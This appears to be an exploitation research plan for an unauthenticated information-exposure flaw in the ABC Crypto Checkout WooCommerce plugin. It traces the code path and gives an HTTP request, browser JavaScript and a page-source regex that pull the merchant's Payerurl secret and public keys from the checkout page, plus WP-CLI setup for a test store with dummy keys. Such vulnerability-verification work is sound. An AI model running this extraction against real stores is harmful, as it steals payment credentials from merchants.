ABC Crypto Checkout <= 1.8.2 - Unauthenticated Information Exposure

This exploitation research plan targets CVE-2026-52695, a sensitive information exposure vulnerability in the ABC Crypto Checkout plugin (version <= 1.8.2).

1. Vulnerability Summary

The vulnerability exists within the implementation of the WooCommerce Blocks integration for the Payerurl gateway. Specifically, the class WC_Gateway_Payerurl_Blocks_Support (in class-payerurl-gateway-blocks.php) improperly handles configuration data. By returning the entire settings array to the WooCommerce Blocks registry without filtering out sensitive fields, the plugin exposes the merchant's Secret Key and Public Key to any user—including unauthenticated visitors—who accesses the checkout page.

2. Attack Vector Analysis

• Endpoint: The public WooCommerce Checkout page (rendered using the Checkout Block).
• Target Data: The payerurl_secret_key and payerurl_public_key.
• Authentication: None (Unauthenticated).
• Preconditions:
  1. The Payerurl gateway must be enabled.
  2. The store must be using the modern WooCommerce Checkout Block (standard in WooCommerce 8.0+).
  3. API credentials must be saved in the gateway settings.

3. Code Flow

1. Plugin Initialization: Payerurl::woocommerce_payerurl_block_support() (in payerurl.php) registers the payment method block support by instantiating WC_Gateway_Payerurl_Blocks_Support.
2. Data Preparation: The WC_Gateway_Payerurl_Blocks_Support::initialize() method retrieves all gateway settings:
   $this->settings = get_option('woocommerce_wc_payerurl_gateway_settings', array());
3. Data Exposure: The get_payment_method_data() method (required by the AbstractPaymentMethodType interface) returns the unfiltered $this->settings array.
4. Frontend Localization: WooCommerce Blocks calls get_payment_method_data() and localizes the returned array into the frontend's wcSettings global object (specifically for the checkout block) so that the JavaScript-based payment component can access its configuration.
5. Information Leak: The data is rendered into the HTML of the checkout page as a JSON object within a <script> tag.

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce. The exposure occurs during the standard rendering of the public Checkout page. No AJAX requests or authenticated endpoints are needed to trigger the leak; it is a passive information disclosure.

5. Exploitation Strategy

The exploitation involves navigating to the checkout page and extracting the JSON-encoded configuration data.

Step-by-Step Plan:

1. Identify Checkout URL: Locate the store's checkout page (usually /checkout/).
2. Navigate and Inspect: Use the browser to load the checkout page.
3. Data Extraction: Use the browser_eval tool to retrieve the sensitive settings from the wcSettings global object.

HTTP Request (Verification):

GET /checkout/ HTTP/1.1
Host: [target_host]
User-Agent: Mozilla/5.0
Accept: text/html

Browser Evaluation (Extraction):
Execute the following JavaScript to extract the keys from the WooCommerce settings object:

// Access the payment method data from the global wcSettings object
const payerurlSettings = window.wcSettings?.paymentMethodData?.['wc_payerurl_gateway'];

if (payerurlSettings) {
    console.log("Public Key:", payerurlSettings.payerurl_public_key);
    console.log("Secret Key:", payerurlSettings.payerurl_secret_key);
    return payerurlSettings;
} else {
    return "Gateway settings not found in wcSettings.";
}

6. Test Data Setup

To reproduce this in a test environment:

1. Install Requirements: Install WordPress, WooCommerce, and the ABC Crypto Checkout plugin (v1.8.2).
2. Configure Gateway: Use WP-CLI to simulate a merchant configuration:

   wp option update woocommerce_wc_payerurl_gateway_settings '{
       "enabled": "yes",
       "payerurl_public_key": "PUB-TEST-123456",
       "payerurl_secret_key": "SEC-TEST-654321",
       "title": "Crypto Payment"
   }' --format=json
   

3. Ensure Checkout Block: Create a checkout page using the Block editor:

   wp post create --post_type=page --post_title="Checkout" --post_status=publish --post_content='<!-- wp:woocommerce/checkout /-->'
   

4. Set as WooCommerce Checkout:

   wp option update woocommerce_checkout_page_id $(wp post list --name="checkout" --post_type=page --field=ID)
   

7. Expected Results

Upon navigating to the checkout page, the browser_eval tool should return a JSON object containing the configured keys:

{
  "enabled": "yes",
  "payerurl_public_key": "PUB-TEST-123456",
  "payerurl_secret_key": "SEC-TEST-654321",
  "title": "Crypto Payment"
}

The presence of payerurl_secret_key in the frontend response confirms the information exposure.

8. Verification Steps

After the HTTP/browser-based extraction, verify that the extracted data matches the database state using WP-CLI:

wp option get woocommerce_wc_payerurl_gateway_settings --format=json

Compare the payerurl_secret_key field from the database to the value captured via the browser. If they match, the information disclosure is verified.

9. Alternative Approaches

If window.wcSettings is not directly accessible or formatted differently, search the page source for the Payerurl ID:

1. Source Search: Perform a string search in the HTML source for payerurl_secret_key.

   # Conceptual search via browser_eval
   browser_eval("document.documentElement.innerHTML.match(/payerurl_secret_key\":\"(.*?)\"/)[1]")
   

2. Legacy Checkout Check: If the store uses the Shortcode-based checkout ([woocommerce_checkout]) instead of the Block-based checkout, the vulnerability may not be exploitable via the AbstractPaymentMethodType path, as that class specifically services the Blocks API. In that case, check for wp_localize_script calls in class-payerurl-gateway.php that might also leak settings to the legacy frontend.